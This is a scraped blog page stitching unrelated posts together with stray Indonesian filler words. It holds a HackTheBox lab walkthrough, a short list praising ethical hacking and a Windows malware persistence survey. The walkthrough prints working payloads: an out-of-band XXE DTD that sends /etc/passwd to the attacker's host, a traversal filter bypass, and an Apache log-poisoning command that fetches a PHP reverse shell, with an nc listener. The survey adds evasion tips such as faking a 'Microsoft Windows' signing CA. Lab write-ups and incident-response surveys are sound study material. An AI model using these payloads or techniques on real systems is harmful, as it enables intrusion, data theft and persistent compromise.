minat sekali

tehligia

In this article we are going to talk about XXE injection and we will also look at LFI in a little more advanced perspective. I will be performing both of these attacks on a HackTheBox machine called Patents which was a really hard machine. I am not going to show you how to solve the Patents machine rather I will show you how to perform the above mentioned attacks on the box.

XML External Entity Attack

Lets start with what an XXE injection means. OWASP has put XXE on number 4 of OWASP Top Ten 2017 and describes XXE in the following words: "An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts."

What that means is if you have an XML parser which is not properly configured to parse the input data you may end you getting yourself screwed. On the Patents box there is an upload form which lets us upload a word document (docx) and then parses it to convert it into a pdf document. You may be thinking but where is the XML document involved here. Well it turns out that the docx files are made up of multiple XML documents archived together. Read more about it in the article OpenXML in word processing – Custom XML part – mapping flat data. It turns out that the docx2pdf parser of the Patents machine is poorly configured to allow XXE injection attacks but to perform that attack we need to inject out XXE payload in the docx file. First lets upload a simple docx file to the server and see what happens.

After uploading the file we get a Download option to download the pdf file that was created from our docx file.

As can be seen, the functionality works as expected.

Now lets exploit it. What we have to do is that we have to inject our XXE payload in the docx file so that the poorly configured XML parser on the server parses our payload and allows us to exfil data from the server. To do that we will perform these steps.

Extract the docx file.
Embed our payload in the extracted files.
Archive the file back in the docx format.
Upload the file on the server.

To extract the docx file we will use the unzip Linux command line tool.

mkdir doc
cd doc
unzip ../sample.docx

Following the article mentioned above we see that we can embed custom XML to the docx file by creating a directory (folder) called customXml inside the extracted folder and add an item1.xml file which will contain our payload.

mkdir customXml
cd customXml
vim item1.xml

Lets grab an XXE payload from PayloadsAllTheThings GitHub repo and modify it a bit which looks like this:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.10.14.56:8090/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

Notice the IP address in the middle of the payload, this IP address points to my python server which I'm going to host on my machine shortly on port 8090. The contents of the dtd.xml file that is being accessed by the payload is:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.56:8090/dtd.xml?%data;'>">

What this xml file is doing is that it is requesting the /etc/passwd file on the local server of the XML parser and then encoding the contents of /etc/passwd into base64 format (the encoding is done because that contents of the /etc/passwd file could be something that can break the request). Now lets zip the un-archived files back to the docx file using the zip linux command line tool.

zip -r sample.docx *

here -r means recursive and * means all files sample.docx is the output file.

Lets summarize the attack a bit before performing it. We created a docx file with an XXE payload, the payload will ping back to our server looking for a file named dtd.xml. dtd.xml file will be parsed by the XML parser on the server in the context of the server. Grabbing the /etc/passwd file from the server encoding it using base64 and then sends that base64 encoded data back to us in the request.

Now lets fire-up our simple http python server in the same directory we kept our dtd.xml file:

python -m SimpleHTTPServer 8090

and then upload the file to the server and see if it works.

We got a hit on our python server from the target server looking for the dtd.xml file and we can see a 200 OK besides the request.

Below the request for dtd.xml we can see another request which was made by the target server to our server and appended to the end of this request is the base64 encoded data. We grab everything coming after the ? of the request and copy it to a file say passwd.b64 and after that we use the base64 linux command line tool to decode the base64 data like this:

cat passwd.64 | base64 -d > passwd

looking at the contents of passwd file we can confirm that it is indeed the /etc/passwd file from the target server. Now we can exfiltrate other files as well from the server but remember we can only exfiltrate those files from the server to which the user running the web application has read permissions. To extract other files we simple have to change the dtd.xml file, we don't need to change our docx file. Change the dtd.xml file and then upload the sample.docx file to the server and get the contents of another file.

LFI to RCE

Now getting to the part two of the article which is LFI to RCE, the box is also vulnerable to LFI injection you can read about simple LFI in one of my previous article Learning Web Pentesting With DVWA Part 6: File Inclusion, in this article we are going a bit more advanced. The URL that is vulnerable to LFI on the machine is:

http://10.10.10.173/getPatent_alphav1.0.php

We can use the id parameter to view the uploaded patents like this:

http://10.10.10.173/getPatent_alphav1.0.php?id=1

The patents are basically local document files on the server, lets try to see if we can read other local files on the server using the id parameter. We try our LFI payloads and it doesn't seem to work.

Maybe its using a mechanism to prevent LFI attacks. After reading the source for getPatent_alphav1.0.php from previous vulnerability we can see it is flagging ../ in the request. To bypass that restriction we will use ..././, first two dots and the slash will be removed from ..././ and what will be left is ../, lets try it out:

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././etc/passwd

Wohoo! we got it but now what? To get an RCE we will check if we can access the apache access log file

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log

As we can see we are able to access the apache access log file lets try to get an RCE via access logs. How this works is basically simple, the access.log file logs all the access requests to the apache server. We will include php code in our request to the server, this malicious request will be logged in the access.log file. Then using the LFI we will access the access.log file. As we access the access.log file via the LFI, the php code in our request will be executed and we will have an RCE. First lets grab a php reverse shell from pentest monkey's GitHub repo, modify the ip and port variables to our own ip and port, and put it into the directory which our python server is hosting. I have renamed the file to shell.php for simplicity here.

Lets setup our reverse shell listener:

nc -lvnp 9999

and then perfrom a request to the target server with our php code like this:

curl "http://10.10.10.173/<?php system('curl\$\{IFS\}http://10.10.14.56:8090/shell.php');?>"

and lastly lets access the apache access.log file via the LFI on the target server:

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log3

Boom! we have a shell.

That's it for today's article see you next time.

References

OpenXML in word processing – Custom XML part – mapping flat data - https://blogs.sap.com/2017/04/24/openxml-in-word-processing-custom-xml-part-mapping-flat-data/
PayloadsAllTheThings - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-oob-with-dtd-and-php-filter
php-reverse-shell - https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Related word

tehligia

Advantage of Ethical Hacking

Hacking is quite useful in the following purpose-

1-To recover lost information, especially in case you lost your password.

2-To perform penetration testing to strengthen computer and network security.

3-To put adequate preventative measure in place to prevent security breaches.

4-To have a computer system that prevents malicious hackers from gaining access.

5-Fighting against terrorism and national security breaches.

Continue reading

tehligia

TL;DR: Are you into red teaming? Need persistence? This post is not that long, read it ;)

Are you into blue teaming? Have to find those pesky backdoors? This post is not that long, read it ;)

In the previous post, I listed different ways how a Windows domain/forest can be backdoored. In this new post, I am digging a bit deeper, and list the most common/known ways malware can survive a reboot, just using local resources of the infected Windows system. The list is far from complete, and I would like to encourage everyone to comment on new methods, not yet listed here.

From an incident response point of view, one of the best strategies to find malware on a suspicious system is to search for suspicious entries that start with the system. In the good old days, you had to check for 2-3 locations to cover 99% of the infections. Nowadays, there are a thousand ways malware can start. The common ones automatically start whenever Windows starts (or the user logs in), but some tricky ones are triggered by other events.

Autoruns

My favorite choice when it comes to malware persistence is Sysinternals tools, Autoruns. In this paragraph, I mainly quote the official built-in help, but bear with me, it is still interesting.

On a side note, there are some problems with the Autoruns tool: it can only run on a live system. (EDIT: This is not true, Autoruns can analyze offline systems as well! Thanks to a comment from Justin.) And usually, this is not the case - I usually have dd images. And although VBoxManage can convert the dd images to VirtualBox disk image format, usually I don't have the time and storage to do that. This is where xmount awesomeness is here to rescue the day. It can convert dd and Encase images on-the-fly in-memory to Virtualbox format. Just attach the disk image to a new Virtualbox machine as the main boot HDD, modify the CPU/disk/controller settings until Windows starts instead of crashing, and voila, you can boot your forensic image - without modifying a single bit on the original evidence dd file. Another problem with malware analysis on a live system is that a good rootkit can fool the analyst easily.

For quick wins, I usually filter out Microsoft entries, look for per-user locations only and check for unverified (missing or invalid Authenticode) executables. This usually helps to find 90% of malware easily. Especially if it has a color like purple or pink, it is highly suspicious. To find the rest, well, one has to dig deeper.

Zeus "hiding" in the usual random directory - check the faked timestamp

To implement "poor-mans monitoring", regularly save the output of Autoruns, and during incident response, it will be highly valuable. Howto guide here.

Logon

"This entry results in scans of standard autostart locations such as the Startup folder for the current user and all users, the Run Registry keys, and standard application launch locations."

There are 42 registry keys/folders at the moment in Autoruns, which can be used to autostart a malware. The most common ways are the HKCU\Software\Microsoft\Windows\CurrentVersion\Run and the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup folder.

One of my favorite regarding this topic is the file-less Poweliks malware, 100% pure awesomeness. Typical ring 3 code execution.

Explorer

"Select this entry to see Explorer shell extensions, browser helper objects, explorer toolbars, active setup executions, and shell execute hooks". 71 registry keys, OMG. Usually, this is not about auto-malware execution, but some of them might be a good place to hide malware.

Internet explorer

"This entry shows Browser Helper Objects (BHO's), Internet Explorer toolbars and extensions". 13 registry key here. If a malicious BHO is installed into your browser, you are pretty much screwed.

Scheduled tasks

"Task scheduler tasks configured to start at boot or logon." Not commonly used, but it is important to look at this.

I always thought this part of the autostart entries is quite boring, but nowadays, I think it is one of the best ways to hide your malware. There are so many entries here by default, and some of them can use quite good tricks to trigger the start.

Did you know that you can create custom events that trigger on Windows event logs?

Did you know you can create malware persistence just by using Windows tools like bitsadmin and Scheduled tasks?

Scheduler in the old days

Scheduler in the new days

Services

HKLM\System\CurrentControlSet\Services is a very commonplace to hide malware, especially rootkits. Check all entries with special care.

Drivers

Same as services. Very commonplace for rootkits. Unfortunately, signing a driver for 64-bit systems is not fun anymore, as it has to be signed by certificates that can be chained back to "Software Publisher Certificates". Typical startup place for Ring 0 rootkits.

Starting from Windows 10, even this will change and all drivers have to be signed by "Windows Hardware Developer Center Dashboard portal" and EV certificates.

Codecs

22 registry keys. Not very common, but possible code execution.

Boot execute

"Native images (as opposed to Windows images) that run early during the boot process."

5 registry keys here. Good place to hide a rootkit here.

Image hijacks

"Image file execution options and command prompt autostarts." 13 registry key here. I believe this was supposed for debugging purposes originally.

This is where the good-old sticky keys trick is hiding. It is a bit different from the others, as it provides a backdoor access, but you can only use this from the local network (usually). The trick is to execute your code whenever someone presses the SHIFT key multiple times before logging into RDP. The old way was to replace the sethc.exe, the new fun is to set a debug program on sethc.

If you see this, you are in trouble

AppInit

"This has Autoruns shows DLLs registered as application initialization DLLs." Only 3 registry keys here. This is the good old way to inject a malicious DLL into Explorer, browsers, etc. Luckily it is going to be deprecated soon.

Known DLLs

"This reports the location of DLLs that Windows loads into applications that reference them." Only 1 registry key. This might be used to hijack some system DLLs.

Winlogon

"Shows DLLs that register for Winlogon notification of logon events." 7 registry keys. Sometimes used by malware.

Winsock providers

"Shows registered Winsock protocols, including Winsock service providers. Malware often installs itself as a Winsock service provider because there are few tools that can remove them. Autoruns can disable them, but cannot delete them." 4 registry keys. AFAIK this was trendy a while ago. But still, a good place to hide malware.

Print monitors

"Displays DLLs that load into the print spooling service. Malware has used this support to autostart itself." 1 registry key. Some malware writers are quite creative when it comes to hiding their persistence module.

LSA providers

"Shows registers Local Security Authority (LSA) authentication, notification and security packages." 5 registry keys. A good place to hide your password stealer.

Network providers

"Missing documentation". If you have a good 1 sentence documentation, please comment.

WMI filters

"Missing documentation". Check Mandiant for details.

Sidebar gadgets

Thank god MS disabled this a while ago :)

We all miss you, you crappy resource gobble nightmares

Common ways - not in autoruns

Now, let's see other possibilities to start your malware, which won't be listed in Sysinternals Autoruns.

Backdoor an executable/DLL

Just change the code of an executable which is either auto-starting or commonly started by the user. To avoid lame mistakes, disable the update of the file ... The backdoor factory is a good source for this task. But if you backdoor an executable/DLL which is already in Autoruns listed, you will break the Digital Signature on the file. It is recommended to sign your executable, and if you can't afford to steal a trusted certificate, you can still import your own CA into the user's trusted certificate store (with user privileges), and it will look like a trusted one. Protip: Use "Microsoft Windows" as the codesigner CA, and your executable will blend in.

See, rootkit.exe totally looks legit, and it is filtered out when someone filters for "Hide Windows entries".

Hijack DLL load order

Just place your DLL into a directory which is searched before the original DLL is found, and PROFIT! But again, to avoid lame detection, be sure to proxy the legitimate function calls to the original DLL. A good source on this topic from Mandiant and DLL hijack detector.

Here you can see how PlugX works in action, by dropping a legitimate Kaspersky executable, and hijacking the DLL calls with their DLL.

Hijack a shortcut from the desktop/start menu

Never underestimate the power of lame tricks. Just create an executable which calls the original executable, and meanwhile starts your backdoor. Replace the link, PROFIT! And don't be a skiddie, check the icon ;) I have seen this trick in adware hijacking browsers a lot of times.

IE hijacked to start with http://tinyurl.com/2fcpre6

File association hijack

Choose the user's favorite file type, replace the program which handles the opening with a similar one described in the previous section, and voila!

COM object hijack

The main idea is that some COM objects are scanned for whether they are on the system or not, and when it is registered, it is automatically loaded. See COMpfun for details.

Windows Application Compatibility - SHIM

Not many people are familiar with Windows Application Compatibility and how it works. Think about it as an added layer between applications and the OS. If the application matches a certain condition (e.g. filename), certain actions will take place. E.g. emulation of directories, registry entries, DLL injection, etc. In my installation, there are 367 different compatibility fixes (type of compatibility "simulation"), and some of those can be customized.

Every time IE starts, inject a DLL into IE

Bootkits

Although bootkits shown here can end up in Autoruns in the drivers section (as they might need a driver at the end of the day), I still think it deserves a different section.

MBR - Master boot record

Malware can overwrite the Master boot record, start the boot process with its own code, and continue the boot process with the original one. It is common for rootkits to fake the content of the MBR record, and show the original contents. Which means one just have attached the infected HDD to a clean system, and compare the first 512 bytes (or more in some cases) with a known, clean state, or compare it to the contents shown from the infected OS. SecureBoot can be used to prevent malware infections like this.

There is a slight difference when MBR is viewed from infected OS vs clean OS

VBR - Volume boot record

This is the next logical step where malware can start it's process, and some malware/rootkit prefers to hide it's startup code here. Check GrayFish for details. SecureBoot can be used to prevent malware infections like this.

BIOS/UEFI malware

Both the old BIOS and the new UEFI can be modified in a way that malware starts even before the OS had a chance to run. Although UEFI was meant to be more secure than BIOS, implementation and design errors happens. Check the Computrace anti-theft rootkit for details.

Hypervisor - Ring -1 rootkit

This is somewhat special, because I believe although rootkit can run in this layer but it can't persist only in this layer on an average, physical machine, because it won't survive a reboot See Rutkowska's presentation from 2006 But because the hypervisor can intercept the restart event, it can write itself into one of the other layers (e.g. install a common kernel driver), and simply delete it after it is fully functional after reboot. Update: There is a good paper from Igor Korkin about hypervisor detection here.

SMM (System Management Mode) malware - Ring -2 rootkit

Somehow related to the previous type of attacks, but not many people know that System Management Mode can be used to inject code into the OS. Check the DEITYBOUNCE malware for more details ;) Also, abusing Intel Dual Monitor Mode (DMM) can lead to untrusted code execution, which basically monitors the SMM mode.

Intel® Active Management Technology - Ring -3 rootkit

According to Wikipedia, "Intel Active Management Technology (AMT) is hardware and firmware technology for remote out-of-band management of personal computers, in order to monitor, maintain, update, upgrade, and repair them". You can ask, what could possibly go wrong? See Alexander Tereshkin's and Rafal Wojtczuk's great research on this, or Vassilios Ververis thesis about AMT.

As not many people click on links, let me quote the scary stuff about AMT:

Independent of the main CPU
Can access host memory via DMA (with restrictions)
Dedicated link to NIC, and its filtering capabilities
Can force host OS to reboot at any time (and boot the system from the emulated CDROM)
Active even in S3 sleep!

Other stuff

Create new user, update existing user, hidden admins

Sometimes one does not even have to add malicious code to the system, as valid user credentials are more than enough. Either existing users can be used for this purpose, or new ones can be created. E.g. a good trick is to use the Support account with a 500 RID - see here, Metasploit tool here.

Esoteric firmware malware

Almost any component in the computer runs with firmware, and by replacing the firmware with a malicious one, it is possible to start the malware. E.g. HDD firmware (see GrayFish again), graphic card, etc.

Hidden boot device

Malware can hide in one of the boot devices which are checked before the average OS is loaded, and after the malware is loaded, it can load the victim OS.

Network-level backdoor

Think about the following scenario: every time the OS boots, it loads additional data from the network. It can check for new software updates, configuration updates, etc. Whenever a vulnerable software/configuration update, the malware injects itself into the response, and get's executed. I know, this level of persistence is not foolproof, but still, possible. Think about the recently discovered GPO MiTM attack, the Evilgrade tool, or even the Xensploit tool when we are talking about VM migration.

Software vulnerability

Almost any kind of software vulnerability can be used as a persistent backdoor. Especially, if the vulnerability can be accessed remotely via the network, without any user interaction. Good old MS08-067...

Hardware malware, built into the chipset

I am not sure what to write here. Ask your local spy agency for further information. Good luck finding those!

Senin, 31 Agustus 2020

XXE In Docx Files And LFI To RCE